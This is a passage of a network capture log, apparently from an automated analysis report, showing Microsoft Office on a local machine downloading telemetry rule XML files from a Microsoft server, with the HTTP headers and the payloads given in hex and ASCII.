2025-03-17 16:03:14 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 2e 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701851" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Excel.Mobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.17	49714	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:14 UTC	199	OUT	GET /rules/rule700850v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:14 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:14 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2ACFF4" x-ms-request-id: 6a77703b-701e-005c-4251-97bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160314Z-186895dd8bdg7vxnhC1EWRbpc000000003ng000000006yuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:14 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 38 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 70 65 72 69 6d 65 6e 74 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 45 78 70 65 72 69 6d 65 6e 74 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700850" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Experimentation" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenExperimentation" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.17	49716	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:14 UTC	199	OUT	GET /rules/rule701850v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:14 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:14 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE374A8B3" x-ms-request-id: 12b1435d-f01e-0071-2c51-97431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160314Z-186895dd8bd48sshhC1EWRwmxg00000007ug000000008vfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:14 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 2e 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 45 78 63 65 6c 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701850" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Excel.Mobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenExcelMobile" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.17	49718	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:14 UTC	199	OUT	GET /rules/rule703050v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:16 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:16 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE9CC7A3E" x-ms-request-id: 6a777088-701e-005c-0951-97bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160316Z-186895dd8bdlbckjhC1EWR44e40000000450000000004k4b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:16 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 35 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 2e 49 6e 73 69 67 68 74 73 53 65 72 76 69 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 45 78 63 65 6c 49 6e 73 69 67 68 74 73 53 65 72 76 69 63 65 73 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703050" V="3" DC="SM" EN="Office.Telemetry.Event.Office.Excel.InsightsServices" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenExcelInsightsServices" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.17	49717	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:14 UTC	199	OUT	GET /rules/rule703051v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:14 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:14 GMT Content-Type: text/xml Content-Length: 1428 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE07B8722" x-ms-request-id: 10372f78-201e-0051-0651-977340000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160314Z-186895dd8bdvl5lbhC1EWRmxds000000083g000000004emb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:14 UTC	1428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 35 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 2e 49 6e 73 69 67 68 74 73 53 65 72 76 69 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703051" V="3" DC="SM" EN="Office.Telemetry.Event.Office.Excel.InsightsServices.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nex

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.17	49719	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:14 UTC	199	OUT	GET /rules/rule700101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:14 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BED8AA404" x-ms-request-id: 26d5192c-601e-0001-6951-97faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160314Z-186895dd8bdvpml2hC1EWRc88n00000003v0000000008ee2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 45 78 63 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Excel.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenExce

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.17	49720	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:14 UTC	199	OUT	GET /rules/rule702101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:14 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7F89AC4" x-ms-request-id: c2899bb0-601e-006f-3451-97e43f000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160314Z-186895dd8bdjz8r9hC1EWR3n3n000000050g00000000m183 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:15 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 2e 43 6f 61 75 74 68 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Excel.Coauth.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.17	49722	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:15 UTC	199	OUT	GET /rules/rule700100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:15 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE9BA0663" x-ms-request-id: 1eb1a915-f01e-001f-5c51-975dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160315Z-186895dd8bdcz2nqhC1EWR2ak400000007p0000000001q0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:15 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 45 78 63 65 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Excel" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenExcel" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.17	49721	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:15 UTC	199	OUT	GET /rules/rule702100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:15 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE7DDEC0" x-ms-request-id: fecca120-e01e-0071-5d51-9708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160315Z-186895dd8bdlbckjhC1EWR44e4000000040000000000hu9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:15 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 2e 43 6f 61 75 74 68 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 45 78 63 65 6c 43 6f 61 75 74 68 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Excel.Coauth" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenExcelCoauth" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.17	49723	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:15 UTC	199	OUT	GET /rules/rule700951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:15 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8CC94C0" x-ms-request-id: 93f2f6ad-a01e-003d-5b51-9798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160315Z-186895dd8bdmf545hC1EWRky1s00000008mg00000000phs3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:15 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 79 6e 61 6d 69 63 43 61 6e 76 61 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.DynamicCanvas.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantT

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.17	49724	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:15 UTC	199	OUT	GET /rules/rule700950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:15 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE96D9F3D" x-ms-request-id: d95b9617-a01e-0050-6044-97db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160315Z-186895dd8bdqzr24hC1EWRscdn000000039g0000000018an x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:15 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 79 6e 61 6d 69 63 43 61 6e 76 61 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 69 6c 64 66 69 72 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.DynamicCanvas" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWildfire" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.17	49725	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:15 UTC	199	OUT	GET /rules/rule703551v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:15 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE572292" x-ms-request-id: 6a7773a8-701e-005c-7a51-97bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160315Z-186895dd8bdmqlthhC1EWRay9g00000006p000000000eeqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:15 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 75 6d 65 6e 74 58 52 61 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703551" V="0" DC="SM" EN="Office.Telemetry.Event.Office.DocumentXRay.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
